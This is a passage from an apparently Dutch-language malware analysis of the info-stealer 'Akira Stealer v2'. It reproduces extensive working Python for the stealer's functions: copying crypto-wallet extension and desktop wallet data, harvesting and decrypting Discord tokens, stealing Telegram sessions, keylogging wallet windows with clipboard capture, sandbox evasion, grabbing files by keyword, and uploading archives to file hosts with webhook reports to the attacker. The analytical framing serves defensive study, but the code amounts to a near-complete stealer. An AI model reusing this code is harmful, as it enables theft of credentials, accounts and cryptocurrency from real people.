["TrustWallet", "egjidjbpglichdcondbcbdnbeeppgdph"],
["CoinbaseWallet", "hfhmhopkfngkjcalldmaepmpilmjjemb"],
["Solflare", "bhhhlbepdkbapadjdnnojkbgioiodbic"],
["BinanceChain", "fhbohimaelbohpjbbldcngcnapndodjp"],
["Keplr", "dmkamcknogkgcdfhhbddcghachkejeap"],
["Nami", "lpfcbjknijpeeillifnkikgncikgfhdo"],
["Talisman", "fijngjgcjhjmmpcmkeiomlglpeiijkld"],
["TronLink", "ibnejdfjmmkpcnlpebklmnkoeoihofec"],
# ... plus dozens more mapped in code
]
# Extraction loop for each browser profile
for browser_name, (user_data, proc_name) in paths.items():
base = os.path.join(user_data, "Default", "Local Extension Settings")
for ext_name, ext_id in walletsExtensions:
src = os.path.join(base, ext_id)
if os.path.isdir(src):
dest = os.path.join(Utils.get_temp_folder(), "Wallets", f"{ext_name}_{browser_name}")
shutil.copytree(src, dest, dirs_exist_ok=True)
data.ext_wallets_count += 1
- Gekopieerde bestanden: Extensiespecifieke IndexedDB, LevelDB, JSON- en configbestanden met versleutelde keys, seed phrases en logincredentials.
- Resultaatmap:
Wallets/MetaMask_Chrome/,Wallets/Phantom_Edge/, enz.
7.8.2 Desktop-walletapplicaties
Targets: Grote desktopclients zoals Electrum, Exodus, Atomic Wallet, Guarda, Rabby, Coinomi, Zcash, Armory, Bytecoin, Jaxx, Coinomi, enz.
walletsDesktop = [
["Electrum", os.path.join(os.getenv('APPDATA'), "Electrum", "wallets")],
["Exodus", os.path.join(os.getenv('APPDATA'), "Exodus", "exodus.wallet")],
["AtomicWallet", os.path.join(os.getenv('LOCALAPPDATA'), "atomic", "Local Storage", "leveldb")],
["Guarda", os.path.join(os.getenv('APPDATA'), "Guarda", "Local Storage", "leveldb")],
["Rabby", os.path.join(os.getenv('APPDATA'), "rabby-desktop")],
["Coinomi", os.path.join(os.getenv('APPDATA'), "Coinomi", "wallets")],
]
for name, path in walletsDesktop:
if os.path.isdir(path):
Utils.TaskKill(name.lower())
dest = os.path.join(Utils.get_temp_folder(), "Wallets", name)
shutil.copytree(path, dest, dirs_exist_ok=True)
data.desktop_wallets_count += 1
- Gestolen data: Keystore-bestanden (
*.dat,*.json), exports van private keys, walletconfiguratie en transactiegeschiedenis. - Voordeel: Offline walletinhoud die de aanvaller kan gebruiken om transacties te autoriseren.
7.8.3 Discord-token-oogst
Discord-tokens zijn authenticatie-artefacten—in wezen langlevende bearer tokens—die volledige toegang tot het account van een gebruiker kunnen verlenen zonder dat hun credentials of MFA nodig zijn. Akira misbruikt dit door browser- en app-datamappen af te zoeken naar tokens die door diverse Discord-clients worden opgeslagen, waaronder Discord Stable, Canary, PTB (Public Test Build) en zelfs gemodificeerde forks zoals Lightcord.
De techniek richt zich op LevelDB-bestanden onder de Local Storage van de applicatie, waar authenticatietokens vaak in plaintext blijven staan. Met reguliere expressies scant de malware deze .log- en .ldb-bestanden op patronen die overeenkomen met reguliere gebruikerstokens of MFA-tokens.
Om de betrouwbaarheid te vergroten en ruis te verminderen, bevat Akira een validatiestap: het stuurt een testverzoek naar Discord's /users/@me-endpoint met elk geoogst token. Alleen tokens die succesvol authenticeren (HTTP 200) worden via webhook geëxfiltreerd—doorgaans naar een Discord-kanaal onder controle van de aanvaller.
Deze methode stelt aanvallers in staat om Discord-accounts in realtime te kapen, het slachtoffer te imiteren, DM's en guilds te scrapen of via social engineering verdere malware uit te rollen—allemaal zonder loginwaarschuwingen te triggeren.
import re, requests
patterns = [
r"[\w-]{24}\.[\w-]{6}\.[\w-]{27,100}", # User tokens
r"mfa\.[\w-]{84,100}" # MFA tokens
]
def harvest_discord(base, webhook_url):
db_dir = os.path.join(base, "Local Storage", "leveldb")
for file in os.listdir(db_dir):
if file.endswith(('.log', '.ldb')):
for line in open(os.path.join(db_dir, file), errors='ignore'):
for pat in patterns:
for token in re.findall(pat, line):
# Verify token
h = {"Authorization": token}
r = requests.get("https://discordapp.com/api/v9/users/@me", headers=h)
if r.status_code == 200:
uname = r.json()["username"] + "#" + r.json()["discriminator"]
payload = {"content": f"**Discord** {uname}: `{token}`"}
requests.post(webhook_url, json=payload)
- Validatie: Post alleen geldige tokens, wat voorkomt dat verlopen JWT's worden verzonden.
7.8.4 Telegram-sessiebestanden
Targets: Telegram Desktop/TData
def steal_telegram(tdata_path, dest_root):
if os.path.exists(tdata_path):
Utils.TaskKill("telegram.exe")
dest = os.path.join(dest_root, "Wallets", "Telegram")
shutil.copytree(tdata_path, dest, dirs_exist_ok=True)
data.has_telegram = True
- Bestanden:
tdata-map met sessiekeys,D877F...-map met secret/unsecret-bestanden. - Gebruik: Laden in de Telegram-client van de aanvaller voor volledige accounttoegang.
7.8.5 Live wallet-keylogging
Cryptocurrency-wallets zijn primaire targets voor moderne info-stealers. Akira bevat een live keylogger die specifiek is toegesneden op het stelen van walletcredentials zoals seed phrases, private keys en wachtwoorden op het moment van invoer. Anders dan generieke keyloggers activeert deze zich alleen wanneer een bekend walletvenster wordt gedetecteerd, wat de ruis drastisch vermindert en de efficiëntie verhoogt.
De module monitort de titels van actieve vensters en vergelijkt ze met een hardcoded lijst van populaire wallet-apps zoals MetaMask, Phantom, Atomic Wallet en andere. Zodra een overeenkomend venster de focus heeft, begint hij toetsaanslagen op te nemen via system-wide keyboard hooks. Wanneer de gebruiker op Enter drukt, legt de module direct de huidige inhoud van het klembord vast—wetende dat gebruikers vaak secrets kopiëren tijdens walletsetup of login—en stuurt zowel de getypte invoer als de klemborddata naar de webhook van de aanvaller. Deze aanpak is uiterst effectief omdat hij twee aanvalsvectoren combineert:
- Context-aware keylogging, om gevoelige walletinvoer alleen vast te leggen wanneer relevant.
- Clipboard hijacking, om gekopieerde recovery phrases of bestemmingsadressen te extraheren voordat ze worden geplakt.
Samen stellen deze methoden aanvallers in staat om wallets in realtime stilletjes te compromitteren, zelfs zonder browsertoegang of bestands-exfiltratie.
import keyboard, pyperclip
class WalletKeylogger:
def __init__(self, wallet_titles):
self.buf = ""
keyboard.on_release(self.capture)
self.wallet_titles = wallet_titles
def capture(self, event):
title = pygetwindow.getActiveWindow().title
if any(w in title for w in self.wallet_titles):
if event.name == 'enter':
data = f"Keys:{self.buf}\nClip:{pyperclip.paste()}"
send_to_webhook(data)
self.buf = ""
else:
self.buf += event.name
- Triggerlijst: Venstertitels met onder meer “MetaMask”, “Phantom”, “Atomic Wallet”, enz.
- Klembord: Legt gekopieerde seeds of private keys vast.
7.8.6 Packaging & exfiltratie
Na het verzamelen van browserdata, credentials, walletinformatie en tokens gaat Akira over tot het consolideren en exfiltreren van de buit op een zeer geautomatiseerde en stealthy manier. Deze fase markeert de laatste stap in de infectieketen en is geoptimaliseerd voor betrouwbaarheid en een minimale forensische voetafdruk. Eerst wordt alle verzamelde data—inclusief browserdumps, logs en gekeyloggede walletinformatie—gecomprimeerd tot een ZIP-archief. Dit zorgt ervoor dat de volledige dataset als één payload kan worden overgedragen. Het archief wordt vervolgens geüpload naar meerdere publieke filesharingdiensten zoals GoFile, File.io of Oshi.at, afhankelijk van beschikbaarheid. Deze platforms bieden anonieme, tijdelijke hosting en worden vaak gebruikt om bedrijfsfirewalls of reputatiegebaseerde blokkering te omzeilen. Tegelijkertijd wordt een gestructureerd rapport gegenereerd en via een Discord- of Telegram-webhook naar de aanvaller gestuurd. Het bevat samenvattende statistieken—hoeveel wallets zijn gevonden, hoeveel tokens geldig waren en een directe link naar de gestolen data. Dit geeft aanvallers een snel overzicht van de waarde van het target zonder het archief te openen.
Ten slotte verwijdert de malware de tijdelijke map en het archief van de schijf, waardoor lokaal forensisch bewijs effectief wordt weggenomen. Tegen de tijd dat een verdediger de infectie ontdekt, is de data al weg—en vaak onherstelbaar.
# 1) ZIP everything (including Wallets folder)
zip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())
# 2) Attempt upload to primary & fallback services
url = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)
# 3) Report summary
embed = {
"title": "💰 Wallet & Token Exfiltration Report",
"fields": [
{"name": "Extension Wallets", "value": data.ext_wallets_count},
{"name": "Desktop Wallets", "value": data.desktop_wallets_count},
{"name": "Discord Tokens", "value": len(valid_tokens)},
{"name": "Telegram Sessions", "value": data.has_telegram},
{"name": "Archive Link", "value": url or "[upload failed]"},
]
}
Webhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)
# 4) Cleanup local folder & ZIP
Utils.clear_client_folder()
7.9. Discord- en Telegram-tokendiefstal (Class: Discord)
De Discord-class van Akira Stealer v2 voert een sterk geparallelliseerd, meertraps proces uit om zowel Discord-autorisatietokens als Telegram-sessiedata te oogsten. Hieronder ontleden we elk component met precieze codereferenties en illustratieve voorbeelden.
7.9.1 Initialisatie & path-enumeratie
Bij instantiëring bouwt de constructor twee sets van target-paden:
# Discord client LevelDB directories
discord_paths = [
[f"{self.ROAMING}/Discord", "/Local Storage/leveldb"],
[f"{self.ROAMING}/Lightcord", "/Local Storage/leveldb"],
...
]
# Chromium-based browser LevelDB directories
browserPaths = [
[f"{self.ROAMING}/Opera Software/Opera GX Stable", "opera.exe", "/Local Storage/leveldb", ...],
[f"{self.LOCAL}/Google/Chrome/User Data", "chrome.exe", "/Default/Local Storage/leveldb", ...],
...
]
- Discord Paths richten zich op officiële en onofficiële Discord-clients onder
%APPDATA%. - Browser Paths dekken de user-datamappen van populaire browsers, inclusief submappen voor local storage en extensies.
Voor elke entry worden threads gespawned:
for patt in browserPaths:
t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])
t.start()
for patt in discord_paths:
t = Thread(target=self.get_discord, args=[patt[0], patt[1]])
t.start()
Dit threadingmodel maximaliseert de I/O-doorvoer en peilt tientallen directories gelijktijdig.
7.9.2 Logica van tokenextractie
Plaintext-tokenscraping uit browsers
get_btoken(path, arg) navigeert naar elke LevelDB-map en inspecteert .log- en .ldb-bestanden:
for file in os.listdir(path + arg):
if file.endswith((".log", ".ldb")):
for line in open(f"{path}{arg}/{file}", errors="ignore"):
for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", r"mfa\.[\w-]{80,95}"):
tokens = re.findall(regex, line)
for token in tokens:
self.tokens.append(token)
self.cehckToken(token)
- Regex
[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}matcht standaard Discord-tokens. - Regex
mfa\.[\w-]{80,95}vangt MFA-tokens op. - Deduplicatie is impliciet: tokens worden vóór validatie in
self.tokensopgeslagen.
Decryptie van versleutelde tokens in de Discord-client
De client van Discord versleutelt Local Storage-entries onder DPAPI, voorafgegaan door v10 of v11. get_discord(path, arg) handelt dit af:
# Read Local State to obtain encrypted master key
with open(path + "/Local State", 'r') as f:
local_state = json.load(f)
encrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]
master_key = self.CryptUnprotectData(encrypted_key)
# Iterate LevelDB files for Base64 payloads
for file in os.listdir(path + arg):
if file.endswith((".log", ".ldb")):
for line in open(f"{path}{arg}/{file}"):
for token_part in re.findall(r"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)", line):
ciphertext = b64decode(token_part)
token = self.decrypt_value(ciphertext, master_key)
self.tokens.append(token)
self.cehckToken(token)
- Master Key Recovery: Verwijdert de 5-byte DPAPI-header en roept dan
CryptUnprotectData(een wrapper rond Windows DPAPI) aan om de AES-GCM-key te decrypten. - Payload Parsing: Tokens worden voorafgegaan door
dQw4w9WgXcQ:(een door de aanvaller gekozen marker). Na Base64-decodering splitstdecrypt_value()IV en ciphertext:def decrypt\_value(buff, master\_key): iv = buff\[3:15] payload = buff\[15:] cipher = AES.new(master\_key, AES.MODE\_GCM, iv) return cipher.decrypt(payload)\[:-16].decode()
7.9.3 Tokenvalidatie & exfiltratie
Elk geëxtraheerd token wordt gevalideerd via een live API-call:
headers = {"Authorization": token}
resp = requests.get("https://discordapp.com/api/v9/users/@me", headers=headers)
if resp.status_code == 200:
self.cehckToken(token)
- Bij succes bepaalt
cehckToken()of er via Telegram (useTg=True) of via Discord-webhook wordt verzonden:if useTg: self.sendTokenTg(token) else: self.send\_embed(token)
send_embedstelt een rijke Discord-embed samen met gebruikersmetadata (username, discriminator, email, Nitro-status, billinginfo) op basis van velden uit
user_json = requests.get(...).json()
username = user_json["username"]
id = user_json["id"]
# embed fields: token, email, phone, IP, flags, Nitro, billing
sendTokenTgstuurt een plaintext-samenvatting via de Telegram-API.
7.9.4 Oogsten van Telegram-sessies
Naast Discord-tokens grijpt de stealer Telegram Desktop-sessies:
@staticmethod
def steal_telegram():
src = f"{os.getenv('APPDATA')}/Telegram Desktop/tdata"
Utils.TaskKill("telegram.exe")
shutil.copytree(src, os.path.join(Utils.get_temp_folder(), "Telegram"))
- Procesbeëindiging: Zorgt dat file locks worden vrijgegeven.
- Recursieve kopie: Steelt de
tdata-map, inclusief gebruikerssessies, contacten en gecachete berichten. - Exfiltratie: De gestolen map wordt gezipt en geüpload via
sendFilesTG(), met de downloadlink ingebed in een Telegram-bericht.
De Discord-module van Akira Stealer combineert regex-gebaseerde scraping, DPAPI-ondersteunde AES-GCM-decryptie, live API-validatie en multiprotocol-exfiltratie (webhook + Telegram) om een naadloze account-takeover-capaciteit te leveren op zowel het Discord- als het Telegram-platform.
7.10 System profiling
Akira Stealer v2 bevat een uitgebreide fase van system profiling om hostmetadata, omgevingsattributen en netwerkdetails te verzamelen. Die informatie wordt gebundeld in de Data-klasse en later samen met de buitgemaakte credentials verpakt. Hieronder ontleden we de profiling-logica met directe verwijzingen naar de code.
7.10.1 Initialisatie van de Data-klasse
Bij het opstarten wordt een instantie van Data aangemaakt:
class Data:
def __init__(self):
self.username = os.getlogin()
self.computerName = os.getenv("computername") or "Unable to get computer name"
self.system_info = f"Computer Name: {self.computerName}\n..."
...
self.ip = requests.get(url="https://api.ipify.org").text
ipdata = json.loads(requests.post(url=f"http://ip-api.com/json/{self.ip}").text)
self.country = ipdata.get("country")
self.countryCode = ipdata.get("countryCode", "").lower()
- Gebruikersnaam en hostname: opgehaald via
os.getlogin()en de omgevingsvariabeleCOMPUTERNAME. - IP-adres: opgehaald met
requests.get("https://api.ipify.org")en daarna viaip-api.comgegeolokaliseerd voor land en ISO-code.
7.10.2 OS- en hardware-enumeratie
Met commando's van Windows Management Instrumentation (WMI):
# Operating System
self.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout
# Total Physical Memory
self.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)
# BIOS UUID
self.uuid = subprocess.run('wmic csproduct get uuid', ...)
# CPU Identifier
self.cpu = subprocess.run("powershell Get-ItemPropertyValue -Path 'HKLM:System...\Processor_Identifier'", ...)
# GPU Name
self.gpu = subprocess.run('wmic path win32_VideoController get name', ...)
# Windows Product Key
self.productKey = subprocess.run("powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault", ...)
De resultaten worden omgezet naar leesbare strings (strip(), indexoperaties) en samengevoegd tot:
self.system_info = (
f"Computer Name: {self.computerName}\n"
f"Total Memory: {self.totalMemory}\n"
f"CPU: {self.cpu}\n"
f"GPU: {self.gpu}\n"
f"Product Key: {self.productKey}"
)
7.10.3 VM-detectie en anti-sandbox-checks
Voordat de diepere profiling begint, roept de malware VmProtect.isVM(level) aan om virtualisatie- of analyseomgevingen te detecteren:
if VmProtect.isVM(1):
sys.exit()
De belangrijkste checks:
- Registersleutels en driverdescriptors: bevraagt registervermeldingen die met virtualisatie samenhangen.
- UUID's en computernamen op de blacklist: vergelijkt met bekende VM-fingerprints.
- HTTP-simulatie: probeert via HTTPS verbinding te maken met een niet-bestaand domein.
- Procesblacklist: start een achtergrondthread die tools als
wireshark,ollydbgenida64afsluit.
7.10.4 Verpakken en verzenden
De verzamelde system_info, het IP-adres en de landenvlag worden opgenomen in de headers van de webhook-payload:
webhook_payload = {
"embeds": [{
"title": f"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}",
"description": description + "\n```⚙️ System Info\n" + self.system_info + "```",
"fields": [...]
}]
}
requests.post(self.webhook_url, json=webhook_payload)
- Vlag-emoji: afgeleid van de ISO-landcode.
- Fields: bevatten aantallen gestolen wachtwoorden, cookies en dergelijke, terwijl de systeeminformatie in de beschrijving van de embed staat, zodat de context direct zichtbaar is.
Samenvatting: System profiling in Akira Stealer v2 verzamelt uitgebreide host- en netwerkgegevens via WMI-commando's, omgevingsvariabelen en IP-geolocatie. Samen met de VM-detectie en de routines die analysetools afsluiten zorgt dit ervoor dat de aanvaller een volledig beeld heeft van de gecompromitteerde omgeving, wat gerichte vervolgacties mogelijk maakt en analysesandboxen eruit filtert.
7.11 File Grabber (klasse: Utils.steal_files)
Naast browserdata en tokens probeert Akira ook waardevolle, door de gebruiker gemaakte content buit te maken, zoals documenten, spreadsheets, privénotities en bestanden met cryptografische sleutels. De File Grabber-module is daarvoor verantwoordelijk. Ze scant mappen met veel waardevolle inhoud op gangbare bestandstypen en patronen en voegt de vondsten stil toe aan de exfiltratiebundel. Wat deze module zo gevaarlijk maakt is haar eenvoud en focus: ze probeert niet het volledige bestandssysteem te doorlopen, maar richt zich op specifieke locaties waar gevoelige bestanden doorgaans liggen. Dat zijn de mappen Desktop, Documents, Downloads en OneDrive, elk relatief ten opzichte van het home-pad van de gebruiker. Die gerichte aanpak verhoogt zowel de snelheid als de heimelijkheid en verkleint de kans dat de scan wordt opgemerkt. Ze valt de gebruiker ook niet op, omdat systeemmappen en beschermde mappen onaangeroerd blijven. Zodra interessante bestanden zijn gevonden, worden ze naar een tijdelijke map gekopieerd, eventueel hernoemd of gegroepeerd, en later gecomprimeerd in het uiteindelijke ZIP-archief dat in de exfiltratiefase wordt geüpload.
7.11.1 Enumeratie van de doelmappen
De stealer richt zich op vier mappen met een hoge opbrengst:
searchFolders = [
"Desktop",
"Documents",
"Downloads",
"OneDrive"
]
Elke map wordt geïnterpreteerd relatief ten opzichte van de home directory van het slachtoffer:
for folder in searchFolders:
current_path = os.path.join(os.environ['USERPROFILE'], folder)
if os.path.exists(current_path):
# proceed to scan
7.11.2 Filteren op keywords en extensies
Keyword-lijst
Een vooraf gedefinieerde set substrings bepaalt de bestandsselectie. Alleen bestandsnamen met minstens één keyword komen in aanmerking:
keywordsFiles = [
"passw", "seed", "mnemo", "phrase", "login", "wallet",
"crypto", "token", "backup", "secret", "account"
]
- Gedeeltelijke matches: keywords als
passwvangen zowelpasswords.txtalspassw_backup.docx. - Brede dekking: dekt termen rond authenticatie, wallets, crypto en tokens.
7.11.3 Toegestane bestandstypen
Om ruis te beperken geldt een whitelist van extensies:
allowed_extensions = [
".txt", ".doc", ".docx", ".pdf", ".csv", ".xls", ".xlsx",
".jpg", ".png"
]
7.11.3 Groottebeperking
Bestanden groter dan 2 megabyte worden overgeslagen om de exfiltratie te versnellen en grote overdrachten te vermijden:
file_size_mb = os.path.getsize(full_path) / (1024 * 1024)
if file_size_mb <= 2:
# eligible for copy
7.11.4 Recursief scannen en kopieerlogica
Zodra de waardevolle mappen zijn vastgesteld, start Akira een recursieve scanroutine die submappen doorloopt en bestanden zoekt die overeenkomen met bepaalde keywords en extensies. Deze fase is gebouwd op precisie en heimelijkheid: alleen bestanden die aan de vooraf vastgelegde criteria voldoen, dus bestandsnamen met gevoelige keywords en een toegestaan bestandstype, komen in aanmerking. De logica zorgt ervoor dat uitsluitend relevante, door de gebruiker gemaakte content wordt geëxfiltreerd. Systeembestanden, caches en binaries worden genegeerd en per bestand geldt een limiet van 2 MB, wat de uploadgrootte en het detectierisico beperkt. Deze scanmethode is stil, efficiënt en geoptimaliseerd voor onopvallende datadiefstal in echte omgevingen. Door overeenkomende bestanden naar een stagingmap te kopiëren en bij te houden wat er is meegenomen, maakt Akira de inhoud klaar om te bundelen en te exfiltreren, met zo weinig mogelijk duplicaten en operationele ruis.
De kernroutine steal_files() werkt als volgt:
@staticmethod
def steal_files():
stolen_files = set()
temp_folder = Utils.get_temp_folder()
for folder in searchFolders:
current_path = os.path.join(os.environ['USERPROFILE'], folder)
if os.path.exists(current_path):
for root, _, files in os.walk(current_path):
for file in files:
lower = file.lower()
# Keyword check
if any(keyword in lower for keyword in keywordsFiles):
ext = os.path.splitext(lower)[1]
# Extension and size check
if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) <= 2 * 1024 * 1024:
# Prepare destination
files_dir = os.path.join(temp_folder, "Files")
os.makedirs(files_dir, exist_ok=True)
shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))
stolen_files.add(file)
data.stolen_files.extend(stolen_files)
Belangrijkste punten:
os.walk: daalt recursief af in submappen.- Matching zonder hoofdlettergevoeligheid: bestandsnamen worden genormaliseerd via
lower(). - Atomaire kopie: gebruikt
shutil.copyom de bestandsinhoud intact te houden. - Set met gestolen bestandsnamen: voorkomt dubbele kopieën als hetzelfde bestand twee keer opduikt.
- Koppeling met
Data:data.stolen_filesverzamelt de lijst met gestolen bestanden voor de latere rapportage.
7.11.5 Archiveren en exfiltratie
Na het verzamelen wordt de map Files gezipt en verstuurd:
# Archive
Utils.zip_client_file() # creates CLIENT.zip from temp_folder
# Upload & Notify
akira.sendFilesTG(Utils.get_temp_folder(), startup)
hook.sendFilesTG(Utils.get_temp_folder(), startup)
zip_client_file(): comprimeert de volledige tijdelijke map, inclusiefFiles,Cookies,Passwordsen de rest.sendFilesTG(): plaatst de downloadlink via een Telegram- of Discord-webhook en somt elke gestolen bestandsnaam op:fields.append({ "name": "📂 Files", "value": "`" + "\n".join(data.stolen_files) + "`", "inline": False })
Conclusie:
De File Grabber in Akira Stealer v2 jaagt systematisch op gevoelige documenten met filters op keywords en extensies, houdt zich aan een grens van 2 MB per bestand en bundelt de buit in een archief. Het ontwerp levert zowel breedte, door meerdere mappen te doorzoeken, als precisie, door gerichte filters, waardoor dit een van de meest ingrijpende fasen in de levenscyclus van de malware is.
7.12 Exfiltratiestrategie
De exfiltratiemodule verwerkt de buitgemaakte tokens en de overige artefacten (cookies, autofill-gegevens, logs) door ze in een gestructureerde map te plaatsen, ze in een archief te comprimeren, dat naar meerdere online filehosts te uploaden en uitgebreide webhook-notificaties te versturen. Deze paragraaf ontleedt elke stap met bestandspaden, domeinendpoints en codeverwijzingen, zodat alles traceerbaar blijft.
7.12.1 Mapstructuur en bestandsnamen
Akira ordent alle verzamelde artefacten in een overzichtelijke, hiërarchische tijdelijke mapstructuur. Dat maakt efficiënt inpakken mogelijk en laat de aanvaller na de exfiltratie snel nakijken wat er is buitgemaakt. Elke datacategorie, zoals Tokens, Cookies, Passwords of Screenshots, krijgt een eigen submap onder een rootpad dat is vernoemd naar de computer van het slachtoffer (bijvoorbeeld DESKTOP1234). Deze structuur houdt de zaak helder, beperkt duplicaten en vereenvoudigt het archiveren en uploaden. Ook geautomatiseerd parsen of handmatig inspecteren wordt er aan de kant van de aanvaller veel eenvoudiger door.
C:\Users\User\AppData\Local\Temp\DESKTOP1234\
├─ Tokens\
│ ├ token_ab12cd34.txt
│ └ token_ef56gh78.txt
├─ Cookies\
│ ├ Chrome_Cookies.txt
│ └ Discord_Cookies.txt
├─ Autofill\
├─ Passwords\
├─ Logs\
└─ Screenshots\
7.12.2 Staging van tokens en artefacten
Voor de exfiltratie plaatst Akira alle relevante artefacten in de bijbehorende submappen. Tokenwaarden worden bijvoorbeeld naar afzonderlijke .txt-bestanden geschreven, wat snel doorzoeken en valideren vergemakkelijkt. Cookies, autofill-gegevens en wachtwoorden gaan op vergelijkbare wijze naar gestructureerde tekstbestanden die per browser zijn benoemd. Deze stap standaardiseert de indeling van de data, waardoor geautomatiseerde tooling kan bijhouden wat er is binnengehaald. Ook zorgt ze ervoor dat het latere ZIP-archief een voorspelbaar en voor de aanvaller handig formaat heeft, ongeacht welke modules zijn afgevuurd.
import os, shutil
# Constants
TMP = os.getenv('TEMP')
ROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))
# Prepare structure
for sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:
os.makedirs(os.path.join(ROOT, sub), exist_ok=True)
# Save token
with open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:
f.write(token)
- Tokens komen in afzonderlijke kleine tekstbestanden te staan, zodat ze snel te bekijken zijn.
- Cookie-dumps uit
Chromium.GetCookies()worden weggeschreven naar{Browser}_Cookies.txt.
7.13.3 Aanmaken van het ZIP-archief
Zodra de staging klaar is, comprimeert Akira de volledige map in één ZIP-archief. De bestandsnaam volgt een vaste conventie:
import zipfile, datetime
def create_archive(root_dir: str) -> str:
ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')
zip_name = os.path.basename(root_dir) + f'_{ts}.zip'
zip_path = os.path.join(os.path.dirname(root_dir), zip_name)
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:
for dirpath, _, files in os.walk(root_dir):
for fname in files:
full = os.path.join(dirpath, fname)
rel = os.path.relpath(full, root_dir)
zf.write(full, rel)
return zip_path
- Het archief heet
DESKTOP1234_20250505T123456Z.zip, zodat het aan de host gekoppeld blijft.
Naamgevingsconventie van het ZIP-bestand
Het archief krijgt de computernaam van de gecompromitteerde host, gevolgd door een UTC-timestamp in ISO-formaat, wat uniciteit en een chronologische ordening oplevert.
import datetime, os
def create_archive(root_dir: str) -> str:
# Generate UTC timestamp in YYYYMMDDThhmmssZ format
ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')
# Construct ZIP filename: <ComputerName>_<Timestamp>.zip
zip_name = os.path.basename(root_dir) + f'_{ts}.zip'
zip_path = os.path.join(os.path.dirname(root_dir), zip_name)
return zip_path
Het archief krijgt de computernaam van de gecompromitteerde host, gevolgd door een UTC-timestamp in ISO-formaat, wat uniciteit en een chronologische ordening oplevert.
7.14.4 Upload-workflow
Akira gebruikt een uploadstrategie met drie niveaus om de kans op geslaagde exfiltratie te maximaliseren. Eerst probeert het archief via de publieke API naar GoFile.io te uploaden, wat een downloadlink teruggeeft. Is GoFile niet beschikbaar of geblokkeerd, dan valt de malware terug op File.io en daarna op Oshi.at, zodat de data altijd wordt overgedragen. Deze diensten bieden anonieme hosting met een korte levensduur, wat takedowns en traceerbaarheid bemoeilijkt. Het script legt de uiteindelijke download-URL vast en zet die klaar voor verzending via de webhook.
- Primair: GoFile.io
- API om servers op te halen:
GET https://api.gofile.io/servers - Upload-endpoint:
POST https://<server>.gofile.io/contents/uploadfile - Responseveld:
data.downloadPagebevat de uiteindelijke URL.
- API om servers op te halen:
- Fallback #1: File.io
- Upload-endpoint:
POST https://file.io/metfiles={'file': open(...)} - Response: het JSON-veld
link.
- Upload-endpoint:
- Fallback #2: Oshi.at
- Upload-endpoint:
POST http://oshi.at/metfiles[]en de parametersexpire=43200, autodestroy=0. - Response: platte tekst met
DL: <url>.
- Upload-endpoint:
Implementatiefragment:
import requests
def upload_with_fallback(zip_path):
# GoFile
try:
servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']
for srv in servers:
try:
r = requests.post(
f'https://{srv}.gofile.io/contents/uploadfile',
files={'file': open(zip_path,'rb')}, timeout=20)
url = r.json()['data']['downloadPage']
if url: return url
except: continue
except: pass
# File.io
try:
r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)
return r.json().get('link','')
except: pass
# Oshi.at
try:
text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text
return text.split('DL: ')[1].strip()
except: pass
return ''
7.15.5 Webhook-alerts, ophalen door de aanvaller en de grenzen van wat een analist ziet
Na het uploaden van het ZIP-archief stuurt Akira een webhook-notificatie, meestal naar Discord of Telegram, met een gestructureerde embed vol details: het aantal gestolen tokens, het aantal cookies, de bestandsgrootte en een klikbare downloadlink. Daarmee heeft de aanvaller direct terugkoppeling en toegang tot de buit. Voor de zekerheid gaat er ook een bericht in platte tekst mee met alleen de archieflink. Die redundantie garandeert bezorging, ook als het platform de embed blokkeert of wegfiltert. Vanuit het perspectief van de verdediger blijft deze communicatie meestal onzichtbaar, tenzij er monitoring op uitgaand netwerkverkeer staat.
Embed-notificatie
# Build embed with key metadata
token_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))
fields = [
{'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},
{'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},
{'name':'🔑 Tokens','value':str(token_count),'inline':True},
{'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},
{'name':'🔐 Passwords','value':str(data.password_count),'inline':True},
]
payload = {
'username':'Akira 💊',
'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]
}
requests.post(webhook_url, json=payload, timeout=8)
- Bezorging: gaat naar het Discord- of Telegram-kanaal van de aanvaller.
- Embed-link: bevat een klikbare
download_urldie verwijst naar het ZIP-bestand op GoFile of op de fallback-host.
Fallback met platte link
# Ensure attacker always has direct URL, even if embeds fail
message = f"📥 Archive available at: {download_url}"
requests.post(webhook_url, data={'message': message}, timeout=8)
- Platte tekst: garandeert dat de link aankomt als embeds geblokkeerd of stil verworpen worden.
Hoe de aanvaller de link ophaalt
1. Webhook-infrastructuur De aanvaller neemt het webhook-endpoint op in de configuratie van de malware:
# at class initialization
self.default_webhook = "%DISCORD_OR_TG_WEBHOOK_URL%"
- Discord:
https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN> - Telegram:
https://api.telegram.org/bot<TELEGRAM_TOKEN>/sendMessage
2. Bezorging in realtime Direct na een geslaagde upload voert de malware dit uit:
payload = {
'username': 'Akira 💊',
'embeds': [{
